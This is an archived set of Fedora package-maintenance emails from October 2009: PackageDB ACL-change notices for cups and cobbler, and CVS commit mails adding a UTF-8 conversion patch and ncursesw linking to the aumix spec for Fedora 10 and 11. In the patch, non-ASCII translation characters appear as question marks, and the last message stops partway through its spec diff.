Date: Tue, 20 Oct 2009 14:52:09 +0000
Subject: [pkgdb] cups: jpopelka has requested commit
Message-ID: <20091020145209.29A8910F850@bastion2.fedora.phx.redhat.com>

jpopelka has requested the commit acl on cups (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/cups



From pkgdb at fedoraproject.org  Tue Oct 20 14:53:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:53:28 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145328.E704E10F85F@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on cobbler (Fedora devel) to Approved for awood

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:53:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:53:31 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145331.DDF0B10F87F@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchbugzilla acl on cobbler (Fedora devel) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:53:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:53:32 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145332.4260510F892@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on cobbler (Fedora devel) to Approved for awood

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:53:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:53:33 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145333.5201510F895@bastion2.fedora.phx.redhat.com>

mdehaan has set the watchcommits acl on cobbler (Fedora devel) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:53:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:53:34 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145334.5401810F850@bastion2.fedora.phx.redhat.com>

mdehaan has set the commit acl on cobbler (Fedora devel) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:53:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:53:35 +0000
Subject: [pkgdb] cobbler had acl change status
Message-ID: <20091020145336.090A610F8AD@bastion2.fedora.phx.redhat.com>

mdehaan has set the approveacls acl on cobbler (Fedora devel) to Approved for jeckersb

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From somlo at fedoraproject.org  Tue Oct 20 14:43:07 2009
From: somlo at fedoraproject.org (Gabriel L. Somlo)
Date: Tue, 20 Oct 2009 14:43:07 +0000 (UTC)
Subject: rpms/aumix/F-11 aumix-2.8-utf8.patch,NONE,1.1 aumix.spec,1.10,1.11
Message-ID: <20091020144307.BCAC811C0081@cvs1.fedora.phx.redhat.com>

Author: somlo

Update of /cvs/pkgs/rpms/aumix/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23116/F-11

Modified Files:
	aumix.spec 
Added Files:
	aumix-2.8-utf8.patch 
Log Message:
converted language files to utf-8
linking against libncursesw to fix display of utf-8 characters


aumix-2.8-utf8.patch:
 configure    |    8 +-
 configure.in |    4 -
 po/de.po     |   42 +++++++-------
 po/el.po     |   74 +++++++++++++-------------
 po/es.po     |   38 ++++++-------
 po/fr.po     |   46 ++++++++--------
 po/gl.po     |   72 ++++++++++++-------------
 po/ja.po     |  166 +++++++++++++++++++++++++++++------------------------------
 po/nl.po     |    2 
 po/pl.po     |   62 +++++++++++-----------
 po/pt_BR.po  |   60 ++++++++++-----------
 po/ru.po     |  128 ++++++++++++++++++++++-----------------------
 po/sv.po     |   62 +++++++++++-----------
 po/uk.po     |  138 ++++++++++++++++++++++++-------------------------
 po/zh_CN.po  |  156 +++++++++++++++++++++++++++----------------------------
 15 files changed, 529 insertions(+), 529 deletions(-)

--- NEW FILE aumix-2.8-utf8.patch ---
diff -NarU5 aumix-2.8.orig/configure aumix-2.8/configure
--- aumix-2.8.orig/configure	2009-10-20 10:03:31.000000000 -0400
+++ aumix-2.8/configure	2009-10-20 10:27:55.000000000 -0400
@@ -3544,17 +3544,17 @@
   withval="$with_ncurses"
   echo "$as_me:$LINENO: result: Compiling without ncurses support" >&5
 echo "${ECHO_T}Compiling without ncurses support" >&6
 else
 
-    echo "$as_me:$LINENO: checking for initscr in -lncurses" >&5
-echo $ECHO_N "checking for initscr in -lncurses... $ECHO_C" >&6
+    echo "$as_me:$LINENO: checking for initscr in -lncursesw" >&5
+echo $ECHO_N "checking for initscr in -lncursesw... $ECHO_C" >&6
 if test "${ac_cv_lib_ncurses_initscr+set}" = set; then
   echo $ECHO_N "(cached) $ECHO_C" >&6
 else
   ac_check_lib_save_LIBS=$LIBS
-LIBS="-lncurses  $LIBS"
+LIBS="-lncursesw  $LIBS"
 cat >conftest.$ac_ext <<_ACEOF
 /* confdefs.h.  */
 _ACEOF
 cat confdefs.h >>conftest.$ac_ext
 cat >>conftest.$ac_ext <<_ACEOF
@@ -3615,11 +3615,11 @@
 else
   initscr=off
 fi
 
   if test $initscr = on; then
-    CURSLIB="ncurses"
+    CURSLIB="ncursesw"
 
 cat >>confdefs.h <<\_ACEOF
 #define HAVE_LIBNCURSES 1
 _ACEOF
 
diff -NarU5 aumix-2.8.orig/configure.in aumix-2.8/configure.in
--- aumix-2.8.orig/configure.in	2009-10-20 10:03:31.000000000 -0400
+++ aumix-2.8/configure.in	2009-10-20 10:26:56.000000000 -0400
@@ -34,13 +34,13 @@
 dnl Additional configure options
 AC_ARG_WITH(ncurses,
    [  --without-ncurses       compile with no ncurses or mouse support],
   AC_MSG_RESULT([Compiling without ncurses support]),[
   dnl Checks for ncurses library.
-  AC_CHECK_LIB(ncurses, initscr, initscr=on, initscr=off)
+  AC_CHECK_LIB(ncursesw, initscr, initscr=on, initscr=off)
   if test $initscr = on; then
-    CURSLIB="ncurses"
+    CURSLIB="ncursesw"
     AC_DEFINE(HAVE_LIBNCURSES, 1,
       [Define this if you have the ncurses library and want to use it.])
   else
     AC_CHECK_LIB(curses, initscr, initscr=on, initscr=off)
     if test $initscr = on; then
diff -NarU5 aumix-2.8.orig/po/de.po aumix-2.8/po/de.po
--- aumix-2.8.orig/po/de.po	2002-11-24 20:36:21.000000000 -0500
+++ aumix-2.8/po/de.po	2009-10-20 10:05:54.000000000 -0400
@@ -9,25 +9,25 @@
 "Project-Id-Version: aumix 2.6\n"
 "POT-Creation-Date: 2002-11-25 01:36+0000\n"
 "Last-Translator: Dominik Stadler <Dominik.Stadler at gmx.at>\n"
 "Language-Team: German <de at li.org>\n"
 "MIME-Version: 1.0\n"
-"Content-Type: text/plain; charset=iso-8859-1\n"
+"Content-Type: text/plain; charset=UTF-8\n"
 "Content-Transfer-Encoding: none\n"
 "POT-Revision-Date: 2000-07-13 11:13+0000\n"
 
 #: src/common.c:76
 msgid "Volume  "
-msgstr "Lautst?rke"
+msgstr "Lautst??rke"
 
 #: src/common.c:77
 msgid "Bass    "
-msgstr "B?sse"
+msgstr "B??sse"
 
 #: src/common.c:78
 msgid "Treble  "
-msgstr "H?hen"
+msgstr "H??hen"
 
 #: src/common.c:79
 msgid "Synth   "
 msgstr ""
 
@@ -115,23 +115,23 @@
 msgid "Monitor "
 msgstr ""
 
 #: src/common.c:263
 msgid "aumix:  error opening mixer"
-msgstr "aumix:  Fehler beim ?ffnen des Mixers"
+msgstr "aumix:  Fehler beim ??ffnen des Mixers"
 
 #: src/common.c:263
 msgid "aumix:  no device found"
-msgstr "aumix:  Audioger?t nicht gefunden"
+msgstr "aumix:  Audioger??t nicht gefunden"
 
 #: src/common.c:263
 msgid "aumix:  mixer not open"
-msgstr "aumix:  Mixer nicht ge?ffnet"
+msgstr "aumix:  Mixer nicht ge??ffnet"
 
 #: src/common.c:263
 msgid "aumix:  unable to open settings file"
-msgstr "aumix:  Einstellungen konnten nicht ge?ffnet werden"
+msgstr "aumix:  Einstellungen konnten nicht ge??ffnet werden"
 
 #: src/common.c:271
 #, c-format
 msgid "aumix:  unknown error %i"
 msgstr "aumix:  Unbekannter Fehler %i"
@@ -188,15 +188,15 @@
 "  c:  CD\n"
 "\n"
 "other options:\n"
 msgstr ""
 "Kanaloptionen:\n"
-"  v:  Gesamtlautst?rke      x:  Mixmonitor\n"
-"  b:  B?sse                 W:  PCM 2\n"
-"  t:  H?hen                 r:  Aufnahme\n"
-"  s:  Synthesizer           i:  Aufnahmeverst?rkung\n"
-"  w:  PCM                   o:  Ausgabeverst?rkung\n"
+"  v:  Gesamtlautst??rke      x:  Mixmonitor\n"
+"  b:  B??sse                 W:  PCM 2\n"
+"  t:  H??hen                 r:  Aufnahme\n"
+"  s:  Synthesizer           i:  Aufnahmeverst??rkung\n"
+"  w:  PCM                   o:  Ausgabeverst??rkung\n"
 "  p:  PC-Lautsprecher       1:  Line 1\n"
 "  l:  Line                  2:  Line 2\n"
 "  m:  Mikrofon              3:  Line 3\n"
 "  c:  CD\n"
 "\n"
@@ -211,29 +211,29 @@
 "  d:  adjust a device besides /dev/mixer\n"
 "  f:  specify file for saving and loading settings (defaults to\n"
 "      ~/.aumixrc or /etc/aumixrc)\n"
 "  h:  this helpful message\n"
 msgstr ""
-"  d:  Anderes Ger?t als /dev/mixer benutzen\n"
+"  d:  Anderes Ger??t als /dev/mixer benutzen\n"
 "  f:  Spezifizieren Sie die Datei zum Speichern und Laden von Einstellungen\n"
 "      (Standard sind ~/.aumixrc oder /etc/aumixrc)\n"
-"  h:  Diese n?tzlichen Informationen\n"
+"  h:  Diese n??tzlichen Informationen\n"
 
 #: src/common.c:707
 msgid "  I:  start in interactive mode after doing non-interactive functions\n"
 msgstr ""
-"  I:  Start im interaktiven Modus nach Ausf?hren nicht-interaktiver "
+"  I:  Start im interaktiven Modus nach Ausf??hren nicht-interaktiver "
 "Funktionen\n"
 
 #: src/common.c:710
 msgid ""
 "  L:  load settings\n"
 "  q:  query all channels and print their settings\n"
 "  S:  save settings\n"
 msgstr ""
 "  L:  Einstellungen laden\n"
-"  q:  Alle Kan?le abfragen und Einstellungen ausgeben\n"
+"  q:  Alle Kan??le abfragen und Einstellungen ausgeben\n"
 "  S:  Einstellungen speichern\n"
 
 #: src/curses.c:37 src/gtk.c:191
 msgid "Quit"
 msgstr "Beenden  "
@@ -258,19 +258,19 @@
 msgid "Only"
 msgstr "Alleine  "
 
 #: src/curses.c:43
 msgid "Undo"
-msgstr "R?ckg?ngig"
+msgstr "R??ckg??ngig"
 
 #: src/curses.c:113 src/gtk.c:365
 msgid "0"
 msgstr "0"
 
 #: src/curses.c:114 src/gtk.c:337
 msgid "Level"
-msgstr "Lautst?rke"
+msgstr "Lautst??rke"
 
 #: src/curses.c:115 src/gtk.c:368
 msgid "100"
 msgstr "100"
 
@@ -310,11 +310,11 @@
 msgid ""
 "\n"
 "Press a key or mouse button to resume."
 msgstr ""
[...3246 lines suppressed...]
 
 #: src/common.c:710
 msgid ""
 "  L:  load settings\n"
 "  q:  query all channels and print their settings\n"
 "  S:  save settings\n"
 msgstr ""
-"  L??????????\n"
-"  q????????????????????????\n"
-"  S??????????\n"
+"  L???????????????\n"
+"  q????????????????????????????????????\n"
+"  S???????????????\n"
 
 #: src/curses.c:37 src/gtk.c:191
 msgid "Quit"
-msgstr "????"
+msgstr "??????"
 
 #: src/curses.c:38 src/gtk.c:191
 msgid "Load"
-msgstr "????"
+msgstr "??????"
 
 #: src/curses.c:39 src/gtk.c:191
 msgid "Save"
-msgstr "????"
+msgstr "??????"
 
 #: src/curses.c:40
 msgid "Keys"
-msgstr "????"
+msgstr "??????"
 
 #: src/curses.c:41 src/gtk.c:265
 msgid "Mute"
-msgstr "????"
+msgstr "??????"
 
 #: src/curses.c:42
 msgid "Only"
-msgstr "??"
+msgstr "???"
 
 #: src/curses.c:43
 msgid "Undo"
-msgstr "????"
+msgstr "??????"
 
 #: src/curses.c:113 src/gtk.c:365
 msgid "0"
 msgstr "0"
 
 #: src/curses.c:114 src/gtk.c:337
 msgid "Level"
-msgstr "????"
+msgstr "??????"
 
 #: src/curses.c:115 src/gtk.c:368
 msgid "100"
 msgstr "100"
 
@@ -274,31 +274,31 @@
 msgid "L"
 msgstr "L"
 
 #: src/curses.c:117 src/gtk.c:193 src/gtk.c:237 src/gtk.c:340
 msgid "Balance"
-msgstr "????"
+msgstr "??????"
 
 #: src/curses.c:118 src/gtk.c:362
 msgid "R"
 msgstr "R"
 
 #: src/curses.c:164
 msgid "page arrows\n"
-msgstr "??????\n"
+msgstr "?????????\n"
 
 #: src/curses.c:165
 msgid "tab enter < > , .\n"
 msgstr "tab enter < > , .\n"
 
 #: src/curses.c:166
 msgid "+ - [ ] arrows digits\n"
-msgstr "+ - [ ] ???? ????\n"
+msgstr "+ - [ ] ?????? ??????\n"
 
 #: src/curses.c:167
 msgid "space\n"
-msgstr "????\n"
+msgstr "??????\n"
 
 #: src/curses.c:168
 msgid "|\n"
 msgstr "|\n"
 
@@ -306,51 +306,51 @@
 msgid ""
 "\n"
 "Press a key or mouse button to resume."
 msgstr ""
 "\n"
-"????????????????????????"
+"????????????????????????????????????"
 
 #: src/curses.c:171
 msgid "Key                       Function\n"
-msgstr "??                        ????\n"
+msgstr "???                        ??????\n"
 
 #: src/curses.c:172
 msgid "------------------------- --------------------"
 msgstr "------------------------- --------------------"
 
 #: src/curses.c:173
 msgid "change channel\n"
-msgstr "????????\n"
+msgstr "????????????\n"
 
 #: src/curses.c:174
 msgid "toggle level/balance\n"
-msgstr "????????/????\n"
+msgstr "????????????/??????\n"
 
 #: src/curses.c:175
 msgid "adjust slider\n"
-msgstr "??????????\n"
+msgstr "???????????????\n"
 
 #: src/curses.c:176
 msgid "toggle record/play\n"
-msgstr "????????/????\n"
+msgstr "????????????/??????\n"
 
 #: src/curses.c:177
 msgid "center balance\n"
-msgstr "????????\n"
+msgstr "????????????\n"
 
 #: src/curses.c:196
 msgid "     "
 msgstr "     "
 
 #: src/curses.c:199
 msgid "muted"
-msgstr "??????"
+msgstr "?????????"
 
 #: src/curses.c:202
 msgid "only "
-msgstr "?? "
+msgstr "??? "
 
 #: src/interactive.c:399
 msgid "k"
 msgstr "k"
 
@@ -378,15 +378,15 @@
 msgid "u"
 msgstr "u"
 
 #: src/gtk.c:191
 msgid "Load From"
-msgstr "??????"
+msgstr "?????????"
 
 #: src/gtk.c:191
 msgid "Save To"
-msgstr "??????"
+msgstr "?????????"
 
 #: src/gtk.c:192
 msgid "f"
 msgstr "f"
 
@@ -414,18 +414,18 @@
 msgid "n"
 msgstr ""
 
 #: src/gtk.c:251
 msgid "Mute All"
-msgstr "????????"
+msgstr "????????????"
 
 #: src/gtk.c:257
 msgid "File"
-msgstr "????"
+msgstr "??????"
 
 #: src/gtk.c:261
 msgid "View"
-msgstr "????"
+msgstr "??????"
 
 #: src/gtk.c:334
 msgid "Rec"
-msgstr "????"
+msgstr "??????"


Index: aumix.spec
===================================================================
RCS file: /cvs/pkgs/rpms/aumix/F-11/aumix.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- aumix.spec	24 Feb 2009 03:14:05 -0000	1.10
+++ aumix.spec	20 Oct 2009 14:43:07 -0000	1.11
@@ -1,6 +1,6 @@
 Name: aumix
 Version: 2.8
-Release: 19%{?dist}
+Release: 21%{?dist}
 Summary: Audio mixer based on ncurses
 License: GPLv2+
 Group: Applications/Multimedia
@@ -12,6 +12,7 @@ Patch2:  aumix-fix-cursor-color-on-exit.
 Patch3:  aumix-fix-crackrock.patch
 Patch4:  aumix-2.8-bug-115869.patch
 Patch5:  curses-cleanup.patch
+Patch6:  aumix-2.8-utf8.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: gettext ncurses-devel
 
@@ -26,6 +27,7 @@ An audio mixer with a compact visual lay
 %patch3 -p1
 %patch4 -p1
 %patch5 -p1
+%patch6 -p1
 
 %build
 %configure
@@ -50,6 +52,12 @@ rm -rf %{buildroot}
 %{_datadir}/aumix
 
 %changelog
+* Wed Oct 14 2009 Gabriel L. Somlo <somlo at cmu.edu> - 2.8-21
+- convert language files and fix ncurses setup for utf-8, (bugzilla # 528279)
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.8-20
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Mon Feb 23 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.8-19
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 



From somlo at fedoraproject.org  Tue Oct 20 14:43:07 2009
From: somlo at fedoraproject.org (Gabriel L. Somlo)
Date: Tue, 20 Oct 2009 14:43:07 +0000 (UTC)
Subject: rpms/aumix/F-10 aumix-2.8-utf8.patch,NONE,1.1 aumix.spec,1.9,1.10
Message-ID: <20091020144307.7636411C0081@cvs1.fedora.phx.redhat.com>

Author: somlo

Update of /cvs/pkgs/rpms/aumix/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23116/F-10

Modified Files:
	aumix.spec 
Added Files:
	aumix-2.8-utf8.patch 
Log Message:
converted language files to utf-8
linking against libncursesw to fix display of utf-8 characters


aumix-2.8-utf8.patch:
 configure    |    8 +-
 configure.in |    4 -
 po/de.po     |   42 +++++++-------
 po/el.po     |   74 +++++++++++++-------------
 po/es.po     |   38 ++++++-------
 po/fr.po     |   46 ++++++++--------
 po/gl.po     |   72 ++++++++++++-------------
 po/ja.po     |  166 +++++++++++++++++++++++++++++------------------------------
 po/nl.po     |    2 
 po/pl.po     |   62 +++++++++++-----------
 po/pt_BR.po  |   60 ++++++++++-----------
 po/ru.po     |  128 ++++++++++++++++++++++-----------------------
 po/sv.po     |   62 +++++++++++-----------
 po/uk.po     |  138 ++++++++++++++++++++++++-------------------------
 po/zh_CN.po  |  156 +++++++++++++++++++++++++++----------------------------
 15 files changed, 529 insertions(+), 529 deletions(-)

--- NEW FILE aumix-2.8-utf8.patch ---
diff -NarU5 aumix-2.8.orig/configure aumix-2.8/configure
--- aumix-2.8.orig/configure	2009-10-20 10:03:31.000000000 -0400
+++ aumix-2.8/configure	2009-10-20 10:27:55.000000000 -0400
@@ -3544,17 +3544,17 @@
   withval="$with_ncurses"
   echo "$as_me:$LINENO: result: Compiling without ncurses support" >&5
 echo "${ECHO_T}Compiling without ncurses support" >&6
 else
 
-    echo "$as_me:$LINENO: checking for initscr in -lncurses" >&5
-echo $ECHO_N "checking for initscr in -lncurses... $ECHO_C" >&6
+    echo "$as_me:$LINENO: checking for initscr in -lncursesw" >&5
+echo $ECHO_N "checking for initscr in -lncursesw... $ECHO_C" >&6
 if test "${ac_cv_lib_ncurses_initscr+set}" = set; then
   echo $ECHO_N "(cached) $ECHO_C" >&6
 else
   ac_check_lib_save_LIBS=$LIBS
-LIBS="-lncurses  $LIBS"
+LIBS="-lncursesw  $LIBS"
 cat >conftest.$ac_ext <<_ACEOF
 /* confdefs.h.  */
 _ACEOF
 cat confdefs.h >>conftest.$ac_ext
 cat >>conftest.$ac_ext <<_ACEOF
@@ -3615,11 +3615,11 @@
 else
   initscr=off
 fi
 
   if test $initscr = on; then
-    CURSLIB="ncurses"
+    CURSLIB="ncursesw"
 
 cat >>confdefs.h <<\_ACEOF
 #define HAVE_LIBNCURSES 1
 _ACEOF
 
diff -NarU5 aumix-2.8.orig/configure.in aumix-2.8/configure.in
--- aumix-2.8.orig/configure.in	2009-10-20 10:03:31.000000000 -0400
+++ aumix-2.8/configure.in	2009-10-20 10:26:56.000000000 -0400
@@ -34,13 +34,13 @@
 dnl Additional configure options
 AC_ARG_WITH(ncurses,
    [  --without-ncurses       compile with no ncurses or mouse support],
   AC_MSG_RESULT([Compiling without ncurses support]),[
   dnl Checks for ncurses library.
-  AC_CHECK_LIB(ncurses, initscr, initscr=on, initscr=off)
+  AC_CHECK_LIB(ncursesw, initscr, initscr=on, initscr=off)
   if test $initscr = on; then
-    CURSLIB="ncurses"
+    CURSLIB="ncursesw"
     AC_DEFINE(HAVE_LIBNCURSES, 1,
       [Define this if you have the ncurses library and want to use it.])
   else
     AC_CHECK_LIB(curses, initscr, initscr=on, initscr=off)
     if test $initscr = on; then
diff -NarU5 aumix-2.8.orig/po/de.po aumix-2.8/po/de.po
--- aumix-2.8.orig/po/de.po	2002-11-24 20:36:21.000000000 -0500
+++ aumix-2.8/po/de.po	2009-10-20 10:05:54.000000000 -0400
@@ -9,25 +9,25 @@
 "Project-Id-Version: aumix 2.6\n"
 "POT-Creation-Date: 2002-11-25 01:36+0000\n"
 "Last-Translator: Dominik Stadler <Dominik.Stadler at gmx.at>\n"
 "Language-Team: German <de at li.org>\n"
 "MIME-Version: 1.0\n"
-"Content-Type: text/plain; charset=iso-8859-1\n"
+"Content-Type: text/plain; charset=UTF-8\n"
 "Content-Transfer-Encoding: none\n"
 "POT-Revision-Date: 2000-07-13 11:13+0000\n"
 
 #: src/common.c:76
 msgid "Volume  "
-msgstr "Lautst?rke"
+msgstr "Lautst??rke"
 
 #: src/common.c:77
 msgid "Bass    "
-msgstr "B?sse"
+msgstr "B??sse"
 
 #: src/common.c:78
 msgid "Treble  "
-msgstr "H?hen"
+msgstr "H??hen"
 
 #: src/common.c:79
 msgid "Synth   "
 msgstr ""
 
@@ -115,23 +115,23 @@
 msgid "Monitor "
 msgstr ""
 
 #: src/common.c:263
 msgid "aumix:  error opening mixer"
-msgstr "aumix:  Fehler beim ?ffnen des Mixers"
+msgstr "aumix:  Fehler beim ??ffnen des Mixers"
 
 #: src/common.c:263
 msgid "aumix:  no device found"
-msgstr "aumix:  Audioger?t nicht gefunden"
+msgstr "aumix:  Audioger??t nicht gefunden"
 
 #: src/common.c:263
 msgid "aumix:  mixer not open"
-msgstr "aumix:  Mixer nicht ge?ffnet"
+msgstr "aumix:  Mixer nicht ge??ffnet"
 
 #: src/common.c:263
 msgid "aumix:  unable to open settings file"
-msgstr "aumix:  Einstellungen konnten nicht ge?ffnet werden"
+msgstr "aumix:  Einstellungen konnten nicht ge??ffnet werden"
 
 #: src/common.c:271
 #, c-format
 msgid "aumix:  unknown error %i"
 msgstr "aumix:  Unbekannter Fehler %i"
@@ -188,15 +188,15 @@
 "  c:  CD\n"
 "\n"
 "other options:\n"
 msgstr ""
 "Kanaloptionen:\n"
-"  v:  Gesamtlautst?rke      x:  Mixmonitor\n"
-"  b:  B?sse                 W:  PCM 2\n"
-"  t:  H?hen                 r:  Aufnahme\n"
-"  s:  Synthesizer           i:  Aufnahmeverst?rkung\n"
-"  w:  PCM                   o:  Ausgabeverst?rkung\n"
+"  v:  Gesamtlautst??rke      x:  Mixmonitor\n"
+"  b:  B??sse                 W:  PCM 2\n"
+"  t:  H??hen                 r:  Aufnahme\n"
+"  s:  Synthesizer           i:  Aufnahmeverst??rkung\n"
+"  w:  PCM                   o:  Ausgabeverst??rkung\n"
 "  p:  PC-Lautsprecher       1:  Line 1\n"
 "  l:  Line                  2:  Line 2\n"
 "  m:  Mikrofon              3:  Line 3\n"
 "  c:  CD\n"
 "\n"
@@ -211,29 +211,29 @@
 "  d:  adjust a device besides /dev/mixer\n"
 "  f:  specify file for saving and loading settings (defaults to\n"
 "      ~/.aumixrc or /etc/aumixrc)\n"
 "  h:  this helpful message\n"
 msgstr ""
-"  d:  Anderes Ger?t als /dev/mixer benutzen\n"
+"  d:  Anderes Ger??t als /dev/mixer benutzen\n"
 "  f:  Spezifizieren Sie die Datei zum Speichern und Laden von Einstellungen\n"
 "      (Standard sind ~/.aumixrc oder /etc/aumixrc)\n"
-"  h:  Diese n?tzlichen Informationen\n"
+"  h:  Diese n??tzlichen Informationen\n"
 
 #: src/common.c:707
 msgid "  I:  start in interactive mode after doing non-interactive functions\n"
 msgstr ""
-"  I:  Start im interaktiven Modus nach Ausf?hren nicht-interaktiver "
+"  I:  Start im interaktiven Modus nach Ausf??hren nicht-interaktiver "
 "Funktionen\n"
 
 #: src/common.c:710
 msgid ""
 "  L:  load settings\n"
 "  q:  query all channels and print their settings\n"
 "  S:  save settings\n"
 msgstr ""
 "  L:  Einstellungen laden\n"
-"  q:  Alle Kan?le abfragen und Einstellungen ausgeben\n"
+"  q:  Alle Kan??le abfragen und Einstellungen ausgeben\n"
 "  S:  Einstellungen speichern\n"
 
 #: src/curses.c:37 src/gtk.c:191
 msgid "Quit"
 msgstr "Beenden  "
@@ -258,19 +258,19 @@
 msgid "Only"
 msgstr "Alleine  "
 
 #: src/curses.c:43
 msgid "Undo"
-msgstr "R?ckg?ngig"
+msgstr "R??ckg??ngig"
 
 #: src/curses.c:113 src/gtk.c:365
 msgid "0"
 msgstr "0"
 
 #: src/curses.c:114 src/gtk.c:337
 msgid "Level"
-msgstr "Lautst?rke"
+msgstr "Lautst??rke"
 
 #: src/curses.c:115 src/gtk.c:368
 msgid "100"
 msgstr "100"
 
@@ -310,11 +310,11 @@
 msgid ""
 "\n"
 "Press a key or mouse button to resume."
 msgstr ""
[...3246 lines suppressed...]
 
 #: src/common.c:710
 msgid ""
 "  L:  load settings\n"
 "  q:  query all channels and print their settings\n"
 "  S:  save settings\n"
 msgstr ""
-"  L??????????\n"
-"  q????????????????????????\n"
-"  S??????????\n"
+"  L???????????????\n"
+"  q????????????????????????????????????\n"
+"  S???????????????\n"
 
 #: src/curses.c:37 src/gtk.c:191
 msgid "Quit"
-msgstr "????"
+msgstr "??????"
 
 #: src/curses.c:38 src/gtk.c:191
 msgid "Load"
-msgstr "????"
+msgstr "??????"
 
 #: src/curses.c:39 src/gtk.c:191
 msgid "Save"
-msgstr "????"
+msgstr "??????"
 
 #: src/curses.c:40
 msgid "Keys"
-msgstr "????"
+msgstr "??????"
 
 #: src/curses.c:41 src/gtk.c:265
 msgid "Mute"
-msgstr "????"
+msgstr "??????"
 
 #: src/curses.c:42
 msgid "Only"
-msgstr "??"
+msgstr "???"
 
 #: src/curses.c:43
 msgid "Undo"
-msgstr "????"
+msgstr "??????"
 
 #: src/curses.c:113 src/gtk.c:365
 msgid "0"
 msgstr "0"
 
 #: src/curses.c:114 src/gtk.c:337
 msgid "Level"
-msgstr "????"
+msgstr "??????"
 
 #: src/curses.c:115 src/gtk.c:368
 msgid "100"
 msgstr "100"
 
@@ -274,31 +274,31 @@
 msgid "L"
 msgstr "L"
 
 #: src/curses.c:117 src/gtk.c:193 src/gtk.c:237 src/gtk.c:340
 msgid "Balance"
-msgstr "????"
+msgstr "??????"
 
 #: src/curses.c:118 src/gtk.c:362
 msgid "R"
 msgstr "R"
 
 #: src/curses.c:164
 msgid "page arrows\n"
-msgstr "??????\n"
+msgstr "?????????\n"
 
 #: src/curses.c:165
 msgid "tab enter < > , .\n"
 msgstr "tab enter < > , .\n"
 
 #: src/curses.c:166
 msgid "+ - [ ] arrows digits\n"
-msgstr "+ - [ ] ???? ????\n"
+msgstr "+ - [ ] ?????? ??????\n"
 
 #: src/curses.c:167
 msgid "space\n"
-msgstr "????\n"
+msgstr "??????\n"
 
 #: src/curses.c:168
 msgid "|\n"
 msgstr "|\n"
 
@@ -306,51 +306,51 @@
 msgid ""
 "\n"
 "Press a key or mouse button to resume."
 msgstr ""
 "\n"
-"????????????????????????"
+"????????????????????????????????????"
 
 #: src/curses.c:171
 msgid "Key                       Function\n"
-msgstr "??                        ????\n"
+msgstr "???                        ??????\n"
 
 #: src/curses.c:172
 msgid "------------------------- --------------------"
 msgstr "------------------------- --------------------"
 
 #: src/curses.c:173
 msgid "change channel\n"
-msgstr "????????\n"
+msgstr "????????????\n"
 
 #: src/curses.c:174
 msgid "toggle level/balance\n"
-msgstr "????????/????\n"
+msgstr "????????????/??????\n"
 
 #: src/curses.c:175
 msgid "adjust slider\n"
-msgstr "??????????\n"
+msgstr "???????????????\n"
 
 #: src/curses.c:176
 msgid "toggle record/play\n"
-msgstr "????????/????\n"
+msgstr "????????????/??????\n"
 
 #: src/curses.c:177
 msgid "center balance\n"
-msgstr "????????\n"
+msgstr "????????????\n"
 
 #: src/curses.c:196
 msgid "     "
 msgstr "     "
 
 #: src/curses.c:199
 msgid "muted"
-msgstr "??????"
+msgstr "?????????"
 
 #: src/curses.c:202
 msgid "only "
-msgstr "?? "
+msgstr "??? "
 
 #: src/interactive.c:399
 msgid "k"
 msgstr "k"
 
@@ -378,15 +378,15 @@
 msgid "u"
 msgstr "u"
 
 #: src/gtk.c:191
 msgid "Load From"
-msgstr "??????"
+msgstr "?????????"
 
 #: src/gtk.c:191
 msgid "Save To"
-msgstr "??????"
+msgstr "?????????"
 
 #: src/gtk.c:192
 msgid "f"
 msgstr "f"
 
@@ -414,18 +414,18 @@
 msgid "n"
 msgstr ""
 
 #: src/gtk.c:251
 msgid "Mute All"
-msgstr "????????"
+msgstr "????????????"
 
 #: src/gtk.c:257
 msgid "File"
-msgstr "????"
+msgstr "??????"
 
 #: src/gtk.c:261
 msgid "View"
-msgstr "????"
+msgstr "??????"
 
 #: src/gtk.c:334
 msgid "Rec"
-msgstr "????"
+msgstr "??????"


Index: aumix.spec
===================================================================
RCS file: /cvs/pkgs/rpms/aumix/F-10/aumix.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- aumix.spec	26 Sep 2008 18:11:36 -0000	1.9
